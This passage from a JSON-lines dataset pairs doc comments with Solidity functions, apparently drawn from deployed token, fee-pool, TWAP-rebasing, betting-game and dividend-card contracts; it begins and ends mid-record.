currencyKey);\n\n require(existingDebt > 0, \"No debt to forgive\");\n\n // If they're trying to burn more debt than they actually owe, rather than fail the transaction, let's just\n // clear their debt and leave them be.\n uint amountToRemove = existingDebt < debtToRemove ? existingDebt : debtToRemove;\n\n // Remove their debt from the ledger\n _removeFromDebtRegister(amountToRemove, existingDebt);\n\n uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;\n\n // synth.burn does a safe subtraction on balance (so it will revert if there are not enough synths).\n synths[currencyKey].burn(messageSender, amountToBurn);\n\n // Store their debtRatio against a feeperiod to determine their fee/rewards % for the period\n _appendAccountIssuanceRecord();\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Find the oldest debtEntryIndex for the corresponding closingDebtIndex\n * @param account users account\n * @param closingDebtIndex the last periods debt index on close\n */", "function_code": "function applicableIssuanceData(address account, uint closingDebtIndex)\n external\n view\n returns (uint, uint)\n {\n IssuanceData[FEE_PERIOD_LENGTH] memory issuanceData = accountIssuanceLedger[account];\n \n // We want to use the user's debtEntryIndex at when the period closed\n // Find the oldest debtEntryIndex for the corresponding closingDebtIndex\n for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {\n if (closingDebtIndex >= issuanceData[i].debtEntryIndex) {\n return (issuanceData[i].debtPercentage, issuanceData[i].debtEntryIndex);\n }\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Logs an accounts issuance data in the current fee period which is then stored historically\n * @param account Message.Senders account address\n * @param debtRatio Debt of this account as a percentage of the global debt.\n * @param debtEntryIndex The index in the global debt ledger. synthetix.synthetixState().issuanceData(account)\n * @param currentPeriodStartDebtIndex The startingDebtIndex of the current fee period\n * @dev onlyFeePool to call me on synthetix.issue() & synthetix.burn() calls to store the locked SNX\n * per fee period so we know to allocate the correct proportions of fees and rewards per period\n accountIssuanceLedger[account][0] has the latest locked amount for the current period. This can be update as many time\n accountIssuanceLedger[account][1-2] has the last locked amount for a previous period they minted or burned\n */", "function_code": "function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex, uint currentPeriodStartDebtIndex)\n external\n onlyFeePool\n {\n // Is the current debtEntryIndex within this fee period\n if (accountIssuanceLedger[account][0].debtEntryIndex < currentPeriodStartDebtIndex) {\n // If its older then shift the previous IssuanceData entries periods down to make room for the new one.\n issuanceDataIndexOrder(account);\n }\n \n // Always store the latest IssuanceData entry at [0]\n accountIssuanceLedger[account][0].debtPercentage = debtRatio;\n accountIssuanceLedger[account][0].debtEntryIndex = debtEntryIndex;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Pushes down the entire array of debt ratios per fee period\n */", "function_code": "function issuanceDataIndexOrder(address account)\n private\n {\n for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {\n uint next = i + 1;\n accountIssuanceLedger[account][next].debtPercentage = accountIssuanceLedger[account][i].debtPercentage;\n accountIssuanceLedger[account][next].debtEntryIndex = accountIssuanceLedger[account][i].debtEntryIndex;\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Import issuer data from synthetixState.issuerData on FeePeriodClose() block #\n * @dev Only callable by the contract owner, and only for 6 weeks after deployment.\n * @param accounts Array of issuing addresses\n * @param ratios Array of debt ratios\n * @param periodToInsert The Fee Period to insert the historical records into\n * @param feePeriodCloseIndex An accounts debtEntryIndex is valid when within the fee peroid,\n * since the input ratio will be an average of the pervious periods it just needs to be\n * > recentFeePeriods[periodToInsert].startingDebtIndex\n * < recentFeePeriods[periodToInsert - 1].startingDebtIndex\n */", "function_code": "function importIssuerData(address[] accounts, uint[] ratios, uint periodToInsert, uint feePeriodCloseIndex)\n external\n onlyOwner\n onlyDuringSetup\n {\n require(accounts.length == ratios.length, \"Length mismatch\");\n\n for (uint i = 0; i < accounts.length; i++) {\n accountIssuanceLedger[accounts[i]][periodToInsert].debtPercentage = ratios[i];\n accountIssuanceLedger[accounts[i]][periodToInsert].debtEntryIndex = feePeriodCloseIndex;\n emit IssuanceDebtRatioEntry(accounts[i], ratios[i], feePeriodCloseIndex);\n }\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The RewardsDistribution contract informs us how many SNX rewards are sent to RewardEscrow to be claimed.\n */", "function_code": "function setRewardsToDistribute(uint amount)\n external\n {\n require(messageSender == rewardsAuthority || msg.sender == rewardsAuthority, \"Caller is not rewardsAuthority\");\n // Add the amount of SNX rewards to distribute on top of any rolling unclaimed amount\n _recentFeePeriodsStorage(0).rewardsToDistribute = _recentFeePeriodsStorage(0).rewardsToDistribute.add(amount);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Admin function to import the FeePeriod data from the previous contract\n */", "function_code": "function importFeePeriod(\n uint feePeriodIndex, uint feePeriodId, uint startingDebtIndex, uint startTime,\n uint feesToDistribute, uint feesClaimed, uint rewardsToDistribute, uint rewardsClaimed)\n public\n optionalProxy_onlyOwner\n onlyDuringSetup\n { \n require (startingDebtIndex <= synthetixState.debtLedgerLength(), \"Cannot import bad data\");\n\n _recentFeePeriods[_currentFeePeriod.add(feePeriodIndex).mod(FEE_PERIOD_LENGTH)] = FeePeriod({\n feePeriodId: uint64(feePeriodId),\n startingDebtIndex: uint64(startingDebtIndex),\n startTime: uint64(startTime),\n feesToDistribute: feesToDistribute,\n feesClaimed: feesClaimed,\n rewardsToDistribute: rewardsToDistribute,\n rewardsClaimed: rewardsClaimed\n });\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Send the rewards to claiming address - will be locked in rewardEscrow.\n * @param account The address to send the fees to.\n * @param snxAmount The amount of SNX.\n */", "function_code": "function _payRewards(address account, uint snxAmount)\n internal\n notFeeAddress(account)\n {\n require(account != address(0), \"Account can't be 0\");\n require(account != address(this), \"Can't send rewards to fee pool\");\n require(account != address(proxy), \"Can't send rewards to proxy\");\n require(account != address(synthetix), \"Can't send rewards to synthetix\");\n\n // Record vesting entry for claiming address and amount\n // SNX already minted to rewardEscrow balance\n rewardEscrow.appendVestingEntry(account, snxAmount);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Calculate the fee charged on top of a value being sent via an exchange\n * @return Return the fee charged\n */", "function_code": "function exchangeFeeIncurred(uint value)\n public\n view\n returns (uint)\n {\n return value.multiplyDecimal(exchangeFeeRate);\n\n // Exchanges less than the reciprocal of exchangeFeeRate should be completely eaten up by fees.\n // This is on the basis that exchanges less than this value will result in a nil fee.\n // Probably too insignificant to worry about, but the following code will achieve it.\n // if (fee == 0 && exchangeFeeRate != 0) {\n // return _value;\n // }\n // return fee;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The total fees available in the system to be withdrawn, priced in currencyKey currency\n * @param currencyKey The currency you want to price the fees in\n */", "function_code": "function totalFeesAvailable(bytes32 currencyKey)\n external\n view\n returns (uint)\n {\n uint totalFees = 0;\n\n // Fees in fee period [0] are not yet available for withdrawal\n for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {\n totalFees = totalFees.add(_recentFeePeriodsStorage(i).feesToDistribute);\n totalFees = totalFees.sub(_recentFeePeriodsStorage(i).feesClaimed);\n }\n\n return synthetix.effectiveValue(\"XDR\", totalFees, currencyKey);\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The total SNX rewards available in the system to be withdrawn\n */", "function_code": "function totalRewardsAvailable()\n external\n view\n returns (uint)\n {\n uint totalRewards = 0;\n\n // Rewards in fee period [0] are not yet available for withdrawal\n for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {\n totalRewards = totalRewards.add(_recentFeePeriodsStorage(i).rewardsToDistribute);\n totalRewards = totalRewards.sub(_recentFeePeriodsStorage(i).rewardsClaimed);\n }\n\n return totalRewards;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice The fees available to be withdrawn by a specific account, priced in currencyKey currency\n * @dev Returns two amounts, one for fees and one for SNX rewards\n * @param currencyKey The currency you want to price the fees in\n */", "function_code": "function feesAvailable(address account, bytes32 currencyKey)\n public\n view\n returns (uint, uint)\n {\n // Add up the fees\n uint[2][FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);\n\n uint totalFees = 0;\n uint totalRewards = 0;\n\n // Fees & Rewards in fee period [0] are not yet available for withdrawal\n for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {\n totalFees = totalFees.add(userFees[i][0]);\n totalRewards = totalRewards.add(userFees[i][1]);\n }\n\n // And convert totalFees to their desired currency\n // Return totalRewards as is in SNX amount\n return (\n synthetix.effectiveValue(\"XDR\", totalFees, currencyKey),\n totalRewards\n );\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Check if a particular address is able to claim fees right now\n * @param account The address you want to query for\n */", "function_code": "function isFeesClaimable(address account)\n public\n view\n returns (bool)\n {\n // Threshold is calculated from ratio % above the target ratio (issuanceRatio).\n // 0 < 10%: Claimable\n // 10% > above: Unable to claim\n uint ratio = synthetix.collateralisationRatio(account);\n uint targetRatio = synthetixState.issuanceRatio();\n\n // Claimable if collateral ratio below target ratio\n if (ratio < targetRatio) {\n return true;\n }\n\n // Calculate the threshold for collateral ratio before fees can't be claimed.\n uint ratio_threshold = targetRatio.multiplyDecimal(SafeDecimalMath.unit().add(targetThreshold));\n\n // Not claimable if collateral ratio above threshold\n if (ratio > ratio_threshold) {\n return false;\n }\n\n return true;\n }", "version": "0.4.25"} {"comment": "/**\n * @notice ownershipPercentage is a high precision decimals uint based on\n * wallet's debtPercentage. Gives a precise amount of the feesToDistribute\n * for fees in the period. Precision factor is removed before results are\n * returned.\n * @dev The reported fees owing for the current period [0] are just a\n * running balance until the fee period closes\n */", "function_code": "function _feesAndRewardsFromPeriod(uint period, uint ownershipPercentage, uint debtEntryIndex)\n view\n internal\n returns (uint, uint)\n {\n // If it's zero, they haven't issued, and they have no fees OR rewards.\n if (ownershipPercentage == 0) return (0, 0);\n\n uint debtOwnershipForPeriod = ownershipPercentage;\n\n // If period has closed we want to calculate debtPercentage for the period\n if (period > 0) {\n uint closingDebtIndex = uint256(_recentFeePeriodsStorage(period - 1).startingDebtIndex).sub(1);\n debtOwnershipForPeriod = _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);\n }\n\n // Calculate their percentage of the fees / rewards in this period\n // This is a high precision integer.\n uint feesFromPeriod = _recentFeePeriodsStorage(period).feesToDistribute\n .multiplyDecimal(debtOwnershipForPeriod);\n\n uint rewardsFromPeriod = _recentFeePeriodsStorage(period).rewardsToDistribute\n .multiplyDecimal(debtOwnershipForPeriod);\n\n return (\n feesFromPeriod.preciseDecimalToDecimal(),\n rewardsFromPeriod.preciseDecimalToDecimal()\n );\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice A method to add a bearer to a role\r\n * @param _account The account to add as a bearer.\r\n * @param _role The role to add the bearer to.\r\n */", "function_code": "function addBearer(address _account, uint256 _role)\r\n external\r\n {\r\n require(\r\n _role < roles.length,\r\n \"Role doesn't exist.\"\r\n );\r\n require(\r\n hasRole(msg.sender, roles[_role].admin),\r\n \"User can't add bearers.\"\r\n );\r\n require(\r\n !hasRole(_account, _role),\r\n \"Account is bearer of role.\"\r\n );\r\n roles[_role].bearers[_account] = true;\r\n emit BearerAdded(_account, _role);\r\n }", "version": "0.5.17"} {"comment": "/** @notice Initializes TWAP start point, starts countdown to first rebase\r\n *\r\n */", "function_code": "function init_twap()\r\n public\r\n {\r\n require(timeOfTWAPInit == 0, \"already activated\");\r\n (uint priceCumulative, uint32 blockTimestamp) =\r\n UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);\r\n require(blockTimestamp > 0, \"no trades\");\r\n blockTimestampLast = blockTimestamp;\r\n priceCumulativeLast = priceCumulative;\r\n timeOfTWAPInit = blockTimestamp;\r\n }", "version": "0.5.17"} {"comment": "/** @notice Activates rebasing\r\n * @dev One way function, cannot be undone, callable by anyone\r\n */", "function_code": "function activate_rebasing()\r\n public\r\n {\r\n require(timeOfTWAPInit > 0, \"twap wasnt intitiated, call init_twap()\");\r\n // cannot enable prior to end of rebaseDelay\r\n require(now >= timeOfTWAPInit + rebaseDelay, \"!end_delay\");\r\n\r\n rebasingActive = false; // disable rebase, originally true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset\r\n *\r\n * @param amountIn input amount of the asset\r\n * @param reserveIn reserves of the asset being sold\r\n * @param reserveOut reserves if the asset being purchased\r\n */", "function_code": "function getAmountOut(\r\n uint amountIn,\r\n uint reserveIn,\r\n uint reserveOut\r\n )\r\n internal\r\n pure\r\n returns (uint amountOut)\r\n {\r\n require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');\r\n require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\r\n uint amountInWithFee = amountIn.mul(997);\r\n uint numerator = amountInWithFee.mul(reserveOut);\r\n uint denominator = reserveIn.mul(1000).add(amountInWithFee);\r\n amountOut = numerator / denominator;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Calculates TWAP from uniswap\r\n *\r\n * @dev When liquidity is low, this can be manipulated by an end of block -> next block\r\n * attack. We delay the activation of rebases 12 hours after liquidity incentives\r\n * to reduce this attack vector. Additional there is very little supply\r\n * to be able to manipulate this during that time period of highest vuln.\r\n */", "function_code": "function getTWAP()\r\n internal\r\n returns (uint256)\r\n {\r\n (uint priceCumulative, uint32 blockTimestamp) =\r\n UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);\r\n uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\r\n\r\n // no period check as is done in isRebaseWindow\r\n\r\n // overflow is desired, casting never truncates\r\n // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed\r\n FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed));\r\n\r\n priceCumulativeLast = priceCumulative;\r\n blockTimestampLast = blockTimestamp;\r\n\r\n return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18));\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Calculates current TWAP from uniswap\r\n *\r\n */", "function_code": "function getCurrentTWAP()\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n (uint priceCumulative, uint32 blockTimestamp) =\r\n UniswapV2OracleLibrary.currentCumulativePrices(uniswap_pair, isToken0);\r\n uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\r\n\r\n // no period check as is done in isRebaseWindow\r\n\r\n // overflow is desired, casting never truncates\r\n // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed\r\n FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulative - priceCumulativeLast) / timeElapsed));\r\n\r\n return FixedPoint.decode144(FixedPoint.mul(priceAverage, 10**18));\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @return Computes in % how far off market is from peg\r\n */", "function_code": "function computeOffPegPerc(uint256 rate)\r\n private\r\n view\r\n returns (uint256, bool)\r\n {\r\n if (withinDeviationThreshold(rate)) {\r\n return (0, false);\r\n }\r\n\r\n // indexDelta = (rate - targetRate) / targetRate\r\n if (rate > targetRate) {\r\n return (rate.sub(targetRate).mul(10**18).div(targetRate), true);\r\n } else {\r\n return (targetRate.sub(rate).mul(10**18).div(targetRate), false);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// recommended fix for known attack on any ERC20", "function_code": "function safeApprove( address _spender,\r\n uint256 _currentValue,\r\n uint256 _value ) public\r\n returns (bool success) {\r\n\r\n // If current allowance for _spender is equal to _currentValue, then\r\n // overwrite it with _value and return true, otherwise return false.\r\n\r\n if (allowances_[msg.sender][_spender] == _currentValue)\r\n return approve(_spender, _value);\r\n\r\n return false;\r\n }", "version": "0.4.25"} {"comment": "// Ethereum Token Definition", "function_code": "function approveAndCall( address spender,\r\n uint256 value,\r\n bytes context ) public\r\n returns (bool success)\r\n {\r\n if ( approve(spender, value) )\r\n {\r\n tokenRecipient recip = tokenRecipient( spender );\r\n recip.receiveApproval( msg.sender, value, context );\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.25"} {"comment": "// Ethereum Token", "function_code": "function burnFrom( address from, uint256 value ) public\r\n returns (bool success)\r\n {\r\n require( balances_[from] >= value );\r\n require( value <= allowances_[from][msg.sender] );\r\n\r\n balances_[from] -= value;\r\n allowances_[from][msg.sender] -= value;\r\n totalSupply -= value;\r\n\r\n emit Burn( from, value );\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// ERC223 Transfer and invoke specified callback", "function_code": "function transfer( address to,\r\n uint value,\r\n bytes data,\r\n string custom_fallback ) public returns (bool success)\r\n {\r\n _transfer( msg.sender, to, value, data );\r\n\r\n if ( isContract(to) )\r\n {\r\n ContractReceiver rx = ContractReceiver( to );\r\n require( address(rx).call.value(0)(bytes4(keccak256(abi.encodePacked(custom_fallback))),\r\n msg.sender,\r\n value,\r\n data) );\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// ERC223 Transfer to a contract or externally-owned account", "function_code": "function transfer( address to, uint value, bytes data ) public\r\n returns (bool success)\r\n {\r\n if (isContract(to)) {\r\n return transferToContract( to, value, data );\r\n }\r\n\r\n _transfer( msg.sender, to, value, data );\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// ERC223 Transfer to contract and invoke tokenFallback() method", "function_code": "function transferToContract( address to, uint value, bytes data ) private\r\n returns (bool success)\r\n {\r\n _transfer( msg.sender, to, value, data );\r\n\r\n ContractReceiver rx = ContractReceiver(to);\r\n rx.tokenFallback( msg.sender, value, data );\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * create new game\r\n **/", "function_code": "function createGame (uint _gameBet, uint _endTime, string _questionText, address _officialAddress) public adminOnly payable {\r\n gameCount ++;\r\n address newGameAddress = new MajorityGame(gameCount, _gameBet, _endTime, _questionText, _officialAddress);\r\n deployedGames.push(newGameAddress);\r\n gameAddressIdMap[newGameAddress] = deployedGames.length;\r\n\r\n setJackpot(newGameAddress, msg.value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * player submit their option\r\n **/", "function_code": "function submitChooseByFactory(address playerAddress, uint _chooseValue) public payable adminOnly notEnded withinGameTime {\r\n require(!option1List[playerAddress] && !option2List[playerAddress]);\r\n require(msg.value == gameBet);\r\n\r\n if (_chooseValue == 1) {\r\n option1List[playerAddress] = true;\r\n option1AddressList.push(playerAddress);\r\n } else if (_chooseValue == 2) {\r\n option2List[playerAddress] = true;\r\n option2AddressList.push(playerAddress);\r\n }\r\n\r\n // add to first 6 player\r\n if(option1AddressList.length + option2AddressList.length <= 6){\r\n first6AddresstList.push(playerAddress);\r\n }\r\n\r\n // add to last player\r\n lastAddress = playerAddress;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * calculate the winner side\r\n * calculate the award to winner\r\n **/", "function_code": "function endGame() public afterGameTime {\r\n require(winnerSide == 0);\r\n\r\n finalBalance = address(this).balance;\r\n\r\n // 10% for commision\r\n uint totalAward = finalBalance * 9 / 10;\r\n\r\n uint option1Count = uint(option1AddressList.length);\r\n uint option2Count = uint(option2AddressList.length);\r\n\r\n uint sumCount = option1Count + option2Count;\r\n\r\n if(sumCount == 0 ){\r\n award = 0;\r\n awardCounter = 0;\r\n if(gameId % 2 == 1){\r\n winnerSide = 1;\r\n }else{\r\n winnerSide = 2;\r\n }\r\n return;\r\n }else{\r\n if (option1Count != 0 && sumCount / option1Count > 10) {\r\n\t\t\t\twinnerSide = 1;\r\n\t\t\t} else if (option2Count != 0 && sumCount / option2Count > 10) {\r\n\t\t\t\twinnerSide = 2;\r\n\t\t\t} else if (option1Count > option2Count || (option1Count == option2Count && gameId % 2 == 1)) {\r\n\t\t\t\twinnerSide = 1;\r\n\t\t\t} else {\r\n\t\t\t\twinnerSide = 2;\r\n\t\t\t}\r\n }\r\n\r\n if (winnerSide == 1) {\r\n award = uint(totalAward / option1Count);\r\n awardCounter = option1Count;\r\n } else {\r\n award = uint(totalAward / option2Count);\r\n awardCounter = option2Count;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * send award to winner\r\n **/", "function_code": "function sendAward() public isEnded {\r\n require(awardCounter > 0);\r\n\r\n uint count = awardCounter;\r\n\r\n if (awardCounter > 400) {\r\n for (uint i = 0; i < 400; i++) {\r\n this.sendAwardToLastOne();\r\n }\r\n } else {\r\n for (uint j = 0; j < count; j++) {\r\n this.sendAwardToLastOne();\r\n }\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * send award to last winner of the list\r\n **/", "function_code": "function sendAwardToLastOne() public isEnded {\r\n\t\trequire(awardCounter > 0);\r\n if(winnerSide == 1){\r\n address(option1AddressList[awardCounter - 1]).transfer(award);\r\n }else{\r\n address(option2AddressList[awardCounter - 1]).transfer(award);\r\n }\r\n\r\n awardCounter--;\r\n\r\n if(awardCounter == 0){\r\n if(option1AddressList.length + option2AddressList.length >= 7){\r\n // send 0.5% of total bet to each first player\r\n uint awardFirst6 = uint(finalBalance / 200);\r\n for (uint k = 0; k < 6; k++) {\r\n address(first6AddresstList[k]).transfer(awardFirst6);\r\n }\r\n // send 2% of total bet to last player\r\n address(lastAddress).transfer(uint(finalBalance / 50));\r\n }\r\n\r\n // send the rest of balance to officialAddress\r\n address(officialAddress).transfer(address(this).balance);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @dev The constructor sets the initial balance to 30 million tokens.\r\n @dev 27 million assigned to the contract owner.\r\n @dev 3 million reserved and locked. (except bounty)\r\n @dev Holders history is updated for data integrity.\r\n @dev Burn functionality are enabled by default.\r\n */", "function_code": "function LWFToken() {\r\n totalSupply = 30 * (10**6) * (10**decimals);\r\n\r\n burnAllowed = true;\r\n maintenance = false;\r\n\r\n require(_setup(0x927Dc9F1520CA2237638D0D3c6910c14D9a285A8, 2700000000, false));\r\n\r\n require(_setup(0x7AE7155fF280D5da523CDDe3855b212A8381F9E8, 30000000, false));\r\n require(_setup(0x796d507A80B13c455c2C1D121eDE4bccca59224C, 263000000, true));\r\n\r\n require(_setup(0xD77d620EC9774295ad8263cBc549789EE39C0BC0, 1000000, true));\r\n require(_setup(0x574B35eC5650BE0aC217af9AFCfe1c7a3Ff0BecD, 1000000, true));\r\n require(_setup(0x7c5a61f34513965AA8EC090011721a0b0A9d4D3a, 1000000, true));\r\n require(_setup(0x0cDBb03DD2E8226A6c3a54081E93750B4f85DB92, 1000000, true));\r\n require(_setup(0x03b6cF4A69fF306B3df9B9CeDB6Dc4ED8803cBA7, 1000000, true));\r\n require(_setup(0xe2f7A1218E5d4a362D1bee8d2eda2cd285aAE87A, 1000000, true));\r\n require(_setup(0xAcceDE2eFD2765520952B7Cb70406A43FC17e4fb, 1000000, true));\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev Gets the balance of the specified address at the first block minor or equal the specified block\r\n @param _owner The address to query the the balance of\r\n @param _block The block\r\n @return An uint256 representing the amount owned by the passed address at the specified block.\r\n */", "function_code": "function balanceAt(address _owner, uint256 _block) external constant returns (uint256 balance) {\r\n uint256 i = accounts[_owner].history.length;\r\n do {\r\n i--;\r\n } while (i > 0 && accounts[_owner].history[i].block > _block);\r\n uint256 matchingBlock = accounts[_owner].history[i].block;\r\n uint256 matchingBalance = accounts[_owner].history[i].balance;\r\n return (i == 0 && matchingBlock > _block) ? 0 : matchingBalance;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev Authorized contracts can burn tokens.\r\n @param _amount Quantity of tokens to burn\r\n @return A bool set true if successful, false otherwise\r\n */", "function_code": "function burn(address _address, uint256 _amount) onlyBurners disabledInMaintenance external returns (bool) {\r\n require(burnAllowed);\r\n\r\n var _balance = accounts[_address].balance;\r\n accounts[_address].balance = _balance.sub(_amount);\r\n\r\n // update history with recent burn\r\n require(_updateHistory(_address));\r\n\r\n totalSupply = totalSupply.sub(_amount);\r\n Burn(_address,_amount);\r\n Transfer(_address, 0x0, _amount);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev Transfer tokens from one address to another\r\n @param _from address The address which you want to send tokens from\r\n @param _to address The address which you want to transfer to\r\n @param _amount the amount of tokens to be transferred\r\n @return A bool set true if successful, false otherwise\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _amount) returns (bool) {\r\n require(!isLocked(_from));\r\n require(_to != address(0));\r\n\r\n var _allowance = accounts[_from].allowed[msg.sender];\r\n\r\n // Check is not needed because sub(_allowance, _amount) will already throw if this condition is not met\r\n // require (_amount <= _allowance);\r\n accounts[_from].allowed[msg.sender] = _allowance.sub(_amount);\r\n return _transfer(_from, _to, _amount);\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev Function implementing the shared logic of 'transfer()' and 'transferFrom()'\r\n @param _from address sending tokens\r\n @param _recipient address receiving tokens\r\n @param _amount tokens to send\r\n @return A bool set true if successful, false otherwise\r\n */", "function_code": "function _transfer(address _from, address _recipient, uint256 _amount) internal disabledInMaintenance trackNewUsers(_recipient) returns (bool) {\r\n\r\n accounts[_from].balance = balanceOf(_from).sub(_amount);\r\n accounts[_recipient].balance = balanceOf(_recipient).add(_amount);\r\n\r\n // save this transaction in both accounts history\r\n require(_updateHistory(_from));\r\n require(_updateHistory(_recipient));\r\n\r\n Transfer(_from, _recipient, _amount);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "/// @notice Allow pre-approved user to take ownership of a dividend card.\n/// @param _divCardId The ID of the card that can be transferred if this call succeeds.\n/// @dev Required for ERC-721 compliance.", "function_code": "function takeOwnership(uint _divCardId)\r\n public\r\n isNotContract\r\n {\r\n address newOwner = msg.sender;\r\n address oldOwner = divCardIndexToOwner[_divCardId];\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_addressNotNull(newOwner));\r\n\r\n // Making sure transfer is approved\r\n require(_approved(newOwner, _divCardId));\r\n\r\n _transfer(oldOwner, newOwner, _divCardId);\r\n }", "version": "0.4.24"} {"comment": "/// For creating a dividend card", "function_code": "function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease)\r\n private\r\n {\r\n Card memory _divcard = Card({\r\n name: _name,\r\n percentIncrease: _percentIncrease\r\n });\r\n uint newCardId = divCards.push(_divcard) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newCardId == uint(uint32(newCardId)));\r\n\r\n emit Birth(newCardId, _name, _owner);\r\n\r\n divCardIndexToPrice[newCardId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as per ERC721 draft\r\n _transfer(BANKROLL, _owner, newCardId);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Assigns ownership of a specific Card to an address.", "function_code": "function _transfer(address _from, address _to, uint _divCardId)\r\n private\r\n {\r\n // Since the number of cards is capped to 2^32 we can't overflow this\r\n ownershipDivCardCount[_to]++;\r\n //transfer ownership\r\n divCardIndexToOwner[_divCardId] = _to;\r\n\r\n // When creating new div cards _from is 0x0, but we can't account that address.\r\n if (_from != address(0)) {\r\n ownershipDivCardCount[_from]--;\r\n // clear any previously approved ownership exchange\r\n delete divCardIndexToApproved[_divCardId];\r\n }\r\n\r\n // Emit the transfer event.\r\n emit Transfer(_from, _to, _divCardId);\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Mints a token to an address with a tokenURI.\n * @param _tos address of the future owner of the token\n */", "function_code": "function mintTo(address[] calldata _tos, uint256 _amount) public onlyOwner {\n uint256 _mintedAmt = _totalMinted();\n uint256 _mintAmt = _tos.length * _amount;\n require(\n _mintedAmt + _mintAmt <= MAX_LIMIT,\n \"MetaMech: reached max limit\"\n );\n for (uint256 i = 0; i < _tos.length; i++) {\n address _to = _tos[i];\n _mint(_to, _amount, \"\", false);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev See {IERC721-isApprovedForAll}.\n */", "function_code": "function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n // Whitelist OpenSea proxy contract for easy trading.\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);\n if (address(proxyRegistry.proxies(owner)) == operator) {\n return true;\n }\n return ERC721A.isApprovedForAll(owner, operator);\n }", "version": "0.8.4"} {"comment": "// Update the given pool's MVS allocation point. Can only be called by the owner.", "function_code": "function set(\r\n uint256 _pid,\r\n uint256 _allocPoint,\r\n uint256 _rewardEndBlock,\r\n bool _withUpdate\r\n ) public onlyOwner {\r\n if (_withUpdate) {\r\n massUpdatePools();\r\n }\r\n totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(\r\n _allocPoint\r\n );\r\n poolInfo[_pid].allocPoint = _allocPoint;\r\n poolInfo[_pid].rewardEndBlock = _rewardEndBlock;\r\n }", "version": "0.6.12"} {"comment": "// sets inital vest amount and bool for a vested address and transfers tokens to address so they collect dividends", "function_code": "function airdrop(address[] calldata addresses, uint256[] calldata amounts) external onlyOwner(){\r\n uint256 i = 0;\r\n while(i < addresses.length){\r\n require(addresses.length == amounts.length, \"Array sizes must be equal\");\r\n uint256 _amount = amounts[i] *10**18;\r\n _transfer(msg.sender, addresses[i], _amount);\r\n i += 1;\r\n }\r\n }", "version": "0.7.6"} {"comment": "// TODO TEST", "function_code": "function setNewTerrain(uint x, uint y, bytes32 newTerrain) public xyBounded(x, y) validNewTerrain(x, y, newTerrain) payable returns (bool) {\r\n Plot storage plot = plots[x][y];\r\n require(plot.owned);\r\n require(plot.owner == msg.sender);\r\n uint setPrice = getSetNewTerrainPrice(x, y, newTerrain);\r\n require(msg.value == setPrice);\r\n plot.terrain = newTerrain;\r\n 